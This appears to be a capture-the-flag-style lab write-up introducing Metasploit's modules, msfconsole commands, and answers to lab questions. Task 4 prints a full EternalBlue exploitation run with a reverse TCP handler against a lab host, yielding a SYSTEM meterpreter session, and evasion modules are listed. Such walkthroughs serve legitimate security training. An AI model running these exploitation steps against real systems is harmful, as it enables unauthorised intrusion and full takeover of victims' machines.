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## Task - 2: Main Components of Metasploit

### Auxiliary

- Any supporting module, such as scanners, crawlers and fuzzers, can be found in auxiliary.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

20 directories, 2 files
```

### Encoders

- Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

10 directories, 0 files
```

### Evasion

- While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 2 evasion/
evasion/
├── windows
│   ├── applocker_evasion_install_util.rb
│   ├── applocker_evasion_msbuild.rb
│   ├── applocker_evasion_presentationhost.rb
│   ├── applocker_evasion_regasm_regsvcs.rb
│   ├── applocker_evasion_workflow_compiler.rb
│   ├── process_herpaderping.rb
│   ├── syscall_inject.rb
│   ├── windows_defender_exe.rb
│   └── windows_defender_js_hta.rb
1 directory, 9 files
```

## Exploits

- Exploits, neatly organized by target system.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows
20 directories, 4 files
```

## NOPs(No Operation)

- They are represented in the Intel x86 CPU family they are represented with 0x90, following which the CPU will do nothing for one cycle.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

10 directories, 0 files
```

## Payloads

- Exploits will leverage a vulnerability on the target system, but to achieve the desired result, we will need a payload.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

4 directories, 0 files
```

- **Adapters:** An adapter wraps single payloads to convert them into different formats. For example, a normal single payload can be wrapped inside a Powershell adapter, which will make a single powershell command that will execute the payload.
- **Singles:** Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.
- **Stagers:** Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. "Staged payloads" will first upload a stager on the target system then download the rest of the payload (stage).
- **Stages:** Downloaded by the stager. This will allow you to use larger sized payloads.

## Post

- Post modules will be useful on the final stage of the penetration testing process listed above, post-exploitation.

```
root@ip-10-10-82-6:/opt/metasploit-framework/embedded/framework/modules# tree -L 1
post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

12 directories, 0 files
```

a) What is the name of the code taking advantage of a flaw on the target system?

- exploit

b) What is the name of the code that runs on the target system to achieve the attacker's goal?

- Payload

c) What are self-contained payloads called?

- singles

d) Is "windows/x64/pingback\_reverse\_tcp" among singles or staged payload?

- singles

### Task - 3: Msfconsole

File Edit View Search Terminal Help  
root@ip-10-10-21-147:~# msfconsole  
This copy of metasploit-framework is more than two weeks old.  
Consider running 'msfupdate' to update to the latest version

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```

      =[ metasploit v6.3.5-dev-                                ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 410 post              ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops                 ]
+ -- --=[ 9 evasion                                              ]

```

```
msf6 > ls
[*] exec: ls

Desktop      Instructions  Postman      Scripts      Tools
Downloads    Pictures     Rooms        thinclient_drives  work
```

```
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=100 time=1.38 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.384/1.384/1.384/0.000 ms
```

```
msf6 > help

Core Commands
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Command      Description
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?             Help menu
banner        Display an awesome metasploit banner
cd            Change the current working directory
color         Toggle color
connect       Communicate with a host
debug         Display information useful for debugging
exit          Exit the console
features      Display the list of not yet released features that can be opted in to
get           Gets the value of a context-specific variable
getg          Gets the value of a global variable
grep          Grep the output of another command
help          Help menu
history       Show command history
load          Load a framework plugin
quit          Exit the console
repeat        Repeat a list of commands
route         Route traffic through a session
save          Saves the active datastores
sessions      Dump session listings and display information about sessions
set           Sets a context-specific variable to a value
setg          Sets a global variable to a value
sleep         Do nothing for the specified number of seconds
spool         Write console output into a file as well the screen
threads       View and manipulate background threads
tips          Show a list of useful productivity tips
unload        Unload a framework plugin
unset         Unsets one or more context-specific variables
unsetg        Unsets one or more global variables
version       Show the framework and console library version numbers
```

```
msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from 'show payloads'.

OPTIONS:

  -g, --global  Operate on global datastore variables
```



```
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls
Desktop Downloads Instructions Pictures Postman Rooms Scripts thinclient_drives Tools work
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

a) How would you search for a module related to Apache?

- search apache

b) Who provided the auxiliary/scanner/ssh/ssh\_login module?

```
msf6 auxiliary(scanner/ssh/ssh_login) > info

Name: SSH Login Check Scanner
Module: auxiliary/scanner/ssh/ssh_login
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
toddb <toddb@metasploit.com>
```

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## Task - 4: Working with modules

- We can set a host and exploit by using

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.11.247
rhosts => 10.10.11.247
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.82.6:4444
[*] 10.10.11.247:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.11.247:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.11.247:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.11.247:445 - The target is vulnerable.
[*] 10.10.11.247:445 - Connecting to target for exploitation.
[+] 10.10.11.247:445 - Connection established for exploitation.
[+] 10.10.11.247:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.11.247:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.11.247:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73
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[*] 10.10.11.247:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76
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[*] 10.10.11.247:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] 10.10.11.247:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.11.247:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.11.247:445 - Sending all but last fragment of exploit packet
[*] 10.10.11.247:445 - Starting non-paged pool grooming
[+] 10.10.11.247:445 - Sending SMBv2 buffers
[+] 10.10.11.247:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.11.247:445 - Sending final SMBv2 buffers.
[*] 10.10.11.247:445 - Sending last fragment of exploit packet!
[*] 10.10.11.247:445 - Receiving response from exploit packet
[+] 10.10.11.247:445 - ETERNALBLUE overwrite completed successfully (0xc000000d)!
[*] 10.10.11.247:445 - Sending egg to corrupted connection.
[*] 10.10.11.247:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.11.247
```

- We can see sessions by

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
```

Active sessions

```
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```

Id	Name	Type	Information	Connection
1		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ JON-PC	10.10.82.6:4444 -> 10.10.11.247:49250 (10.10.11.247)

a) How would you set the LPORT value to 6666?

```
msf6 > set lport 6666
lport => 6666
```

b) How would you set the global value for RHOSTS to 10.10.19.23 ?

```
msf6 > setg rhosts 10.10.19.23
rhosts => 10.10.19.23
```

c) What command would you use to clear a set payload?

```
msf6 > unset payload
Unsetting payload...
```

d) What command do you use to proceed with the exploitation phase?

- exploit